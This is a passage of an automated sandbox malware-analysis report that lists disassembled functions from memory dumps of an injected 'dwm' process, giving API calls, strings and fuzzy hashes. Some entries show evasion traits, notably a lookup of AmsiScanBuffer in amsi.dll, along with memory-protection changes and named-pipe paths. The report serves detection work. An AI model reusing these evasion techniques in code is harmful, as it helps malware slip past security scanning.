Instruction Fuzzy Hash: AE51C634201F65D5EB06DB25D8AC29433B1BB04B44FC44939AA2D06BE9EF7AD92CC742

Function 00000262F1D02098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000262F1D020A6
TlsFree.KERNEL32 ref: 00000262F1D0225F
TlsFree.KERNEL32 ref: 00000262F1D0226B
TlsFree.KERNEL32 ref: 00000262F1D02277
TlsFree.KERNEL32 ref: 00000262F1D02283
TlsFree.KERNEL32 ref: 00000262F1D0228F

Part of subcall function 00000262F1D05E50: GetCurrentThreadId.KERNEL32 ref: 00000262F1D05E66

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: 5b15fcac4f106ed112a9e1af7e1e923dbd6f0734b68a9551e8f94e8663edcaae
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction Fuzzy Hash: C951E535202FA9D5FB09DB24E89C29423B5FB04B44FC04929A96D47FA9EF7AC95CC740

Function 00000262F1CA35C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000262F1CA24D1), ref: 00000262F1CA35EB
HeapAlloc.KERNEL32(?,?,?,?,?,00000262F1CA24D1), ref: 00000262F1CA35FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000262F1CA24D1), ref: 00000262F1CA3673
GetProcessHeap.KERNEL32(?,?,?,?,?,00000262F1CA24D1), ref: 00000262F1CA36D9
HeapFree.KERNEL32(?,?,?,?,?,00000262F1CA24D1), ref: 00000262F1CA36E7

Strings

$nya-, xrefs: 00000262F1CA366C

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: dec9c552ad4e832abc1e1bfca9b0e19e706214325b6ddf4de1baea4d5c3777cf
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: 60316932701F65C2EA52DF66A96C76963B0BB44B84F889030DF4847FD5EF3AC4A98701

Function 00000262F1D035C8 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000262F1D024D1), ref: 00000262F1D035EB
HeapAlloc.KERNEL32(?,?,?,?,?,00000262F1D024D1), ref: 00000262F1D035FE
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000262F1D024D1), ref: 00000262F1D03673
GetProcessHeap.KERNEL32(?,?,?,?,?,00000262F1D024D1), ref: 00000262F1D036D9
HeapFree.KERNEL32(?,?,?,?,?,00000262F1D024D1), ref: 00000262F1D036E7

Strings

$nya-, xrefs: 00000262F1D0366C

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $nya-
API String ID: 756756679-1266920357
Opcode ID: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction ID: a347bc1942ea7c4a43fd0d4e5d582fa3a3362efaca4353a2c0d6683e07ddbfa8
Opcode Fuzzy Hash: cf694f0bea780c6e1211edc3f081aa45b4316966585fdcbda0fb213a5a03d4f8
Instruction Fuzzy Hash: EC315C32701F65EAFB15DF16A94C66963B0BB44F84F8840209E4947F69EF3AC4A9C700

Function 00000262F1CAC940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000262F1CAC94F
SetLastError.KERNEL32 ref: 00000262F1CAC96E
FlsSetValue.KERNEL32 ref: 00000262F1CAC997
FlsSetValue.KERNEL32 ref: 00000262F1CAC9A8
FlsSetValue.KERNEL32 ref: 00000262F1CAC9B9

Part of subcall function 00000262F1CAD2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000262F1CA674A), ref: 00000262F1CAD2B6
Part of subcall function 00000262F1CAD2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000262F1CA674A), ref: 00000262F1CAD2C0

SetLastError.KERNEL32 ref: 00000262F1CAC9DC

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: fe2f3d8e17abd214f965bb9ce31b32200e7a584ae44387e26d20d8fc71c1887a
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: B4117735300EB0C2FA5A6731682D3BE11719B847A0FD54734A96656FD6DE3ACC098707

Function 00000262F1D0C940 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000262F1D0C94F
SetLastError.KERNEL32 ref: 00000262F1D0C96E
FlsSetValue.KERNEL32 ref: 00000262F1D0C997
FlsSetValue.KERNEL32 ref: 00000262F1D0C9A8
FlsSetValue.KERNEL32 ref: 00000262F1D0C9B9

Part of subcall function 00000262F1D0D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000262F1D0674A), ref: 00000262F1D0D2B6
Part of subcall function 00000262F1D0D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000262F1D0674A), ref: 00000262F1D0D2C0

SetLastError.KERNEL32 ref: 00000262F1D0C9DC

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: 6c5dcdc07d278e79b2e88af4f912f060bd502bf2eec486bf83c64b43b71d1586
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: A9114C31314E70C2FA186731689D3AE2272AB89FE0FD44625A86A56FDEDE3EC4494740

Function 00000262F1CA1A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000262F1CA1A56
K32GetModuleFileNameExW.KERNEL32 ref: 00000262F1CA1A74
PathFindFileNameW.SHLWAPI ref: 00000262F1CA1A83
lstrlenW.KERNEL32 ref: 00000262F1CA1A8F
StrCpyW.SHLWAPI ref: 00000262F1CA1AA2
CloseHandle.KERNEL32 ref: 00000262F1CA1AB0

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: e66e74fe270ce6d8f09fa9ebcda9fa64f72df942dfecb16eb5d78e9ad60ceebd
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: 99011B71705E50C6EB54DB12A86C35963B1F788FC0F8840359E5D83B95DE3AC989CB41

Function 00000262F1D01A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000262F1D01A56
K32GetModuleFileNameExW.KERNEL32 ref: 00000262F1D01A74
PathFindFileNameW.SHLWAPI ref: 00000262F1D01A83
lstrlenW.KERNEL32 ref: 00000262F1D01A8F
StrCpyW.SHLWAPI ref: 00000262F1D01AA2
CloseHandle.KERNEL32 ref: 00000262F1D01AB0

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 922fdaf62109822db50c4d30f3ea032cb8b5ade3dfa48254d2e2c75aeece13d1
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: 2C010971704A6486FB14DB52A89C35A62B5F78DFC0F8840359E5953B64DE3DC58ACB40

Function 00000262F1CA3E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000262F1CA3AAC), ref: 00000262F1CA3E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1CA3AAC), ref: 00000262F1CA3E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000262F1CA3AAC), ref: 00000262F1CA3E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1CA3AAC), ref: 00000262F1CA3E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000262F1CA3AAC), ref: 00000262F1CA3E9F
TerminateThread.KERNEL32(?,?,?,?,?,00000262F1CA3AAC), ref: 00000262F1CA3EAE

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: d97c29b32172ed4424d5d4fe8b8a45f99578b57b1518c16f068ddcfa3f4e46ed
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: 06015774605F60C2EB65DB26F85C31A22B0AB48B41F940038DA4D46BE5EF3EC45CCB02

Function 00000262F1D03E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000262F1D03AAC), ref: 00000262F1D03E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1D03AAC), ref: 00000262F1D03E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000262F1D03AAC), ref: 00000262F1D03E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1D03AAC), ref: 00000262F1D03E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000262F1D03AAC), ref: 00000262F1D03E9F
TerminateThread.KERNEL32(?,?,?,?,?,00000262F1D03AAC), ref: 00000262F1D03EAE

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: a68e317433246dfec9876a18cc917fcfd4046e7732792400411306add0e66c53
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: 6D014C75211FA4C6FB249B61E84C71A73B4BB4AB45F844128DA5D17BA9EF3EC54CCB00

Function 00000262F1CA1AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000262F1CA1AF4
StrCmpNIW.SHLWAPI ref: 00000262F1CA1B0E
lstrlenW.KERNEL32 ref: 00000262F1CA1B1D
StrCpyW.SHLWAPI ref: 00000262F1CA1B32

Strings

\\?\, xrefs: 00000262F1CA1B02

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 46a08e3e9825a35e292d4ae123f8ecda1783c5e34c1f2133b7e332fb7f0da7b3
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 61F03CB2304A95D2EB60CB21F99C3596371F744B88FC440319A4986ED5DE6EC68DCB01

Function 00000262F1D01AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000262F1D01AF4
StrCmpNIW.SHLWAPI ref: 00000262F1D01B0E
lstrlenW.KERNEL32 ref: 00000262F1D01B1D
StrCpyW.SHLWAPI ref: 00000262F1D01B32

Strings

\\?\, xrefs: 00000262F1D01B02

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 627d793779b4fb71c53698818714985133b41b2a005b23078a6382d94af29437
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 84F03C72304E99D2FB208B61E58C3596371F749B88FC440219A4946D68DF6EC69CCB00

Function 00000262F1CA3708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000262F1CA275A), ref: 00000262F1CA372A
StrCpyW.SHLWAPI ref: 00000262F1CA373A
StrCatW.SHLWAPI ref: 00000262F1CA3746
PathCombineW.SHLWAPI(?,?,00000000,00000262F1CA275A), ref: 00000262F1CA3754

Strings

\\.\pipe\, xrefs: 00000262F1CA3720

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: 2d70aa3d07742b66c1db06fbcd7bb005ca2c9c5ccb713c61cdb6be3a7e0e1e7a
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: F6F08274304FA0C1EA45CB13B92C1196670BB48FC0FC89030EE0A87F99CE3DC4498B01

Function 00000262F1CAB904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000262F1CAB929
GetProcAddress.KERNEL32 ref: 00000262F1CAB93F
FreeLibrary.KERNEL32 ref: 00000262F1CAB95B

Strings

mscoree.dll, xrefs: 00000262F1CAB920
CorExitProcess, xrefs: 00000262F1CAB938

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: 81abed9903feba85f37031435fbbdb1edac0442b8016a88f6e98db0da8679678
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 1BF09A31211E61C1EA15CB24E8AD3696330EB897A0FD40339DAAA869E4CF3EC44CC702

Function 00000262F1D03708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000262F1D0275A), ref: 00000262F1D0372A
StrCpyW.SHLWAPI ref: 00000262F1D0373A
StrCatW.SHLWAPI ref: 00000262F1D03746
PathCombineW.SHLWAPI(?,?,00000000,00000262F1D0275A), ref: 00000262F1D03754

Strings

\\.\pipe\, xrefs: 00000262F1D03720

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: b253053fa2b6f8e9201f0124f0b901716077b6c4a04d9180ad6cf466b8c26997
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: BDF058B4304FA4C2FB048B12B91C219A271AB8DFC0FC88130EE0A17F29CE6DC44A8B00

Function 00000262F1D0B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000262F1D0B929
GetProcAddress.KERNEL32 ref: 00000262F1D0B93F
FreeLibrary.KERNEL32 ref: 00000262F1D0B95B

Strings

mscoree.dll, xrefs: 00000262F1D0B920
CorExitProcess, xrefs: 00000262F1D0B938

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: 9aa60eb943e2f4e72505a1797cdc67d03f06eb69ef2f10210b0c05c5a5d744a9
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 8AF09A72305E25C1FB108B24A89C3692330EB8EBA0FD40619DA6A56DF8CF3EC44CC700

Function 00000262F1D01E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000262F1D01E47
GetProcAddress.KERNEL32 ref: 00000262F1D01E57
Sleep.KERNEL32 ref: 00000262F1D01E67

Strings

AmsiScanBuffer, xrefs: 00000262F1D01E50
amsi.dll, xrefs: 00000262F1D01E40

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
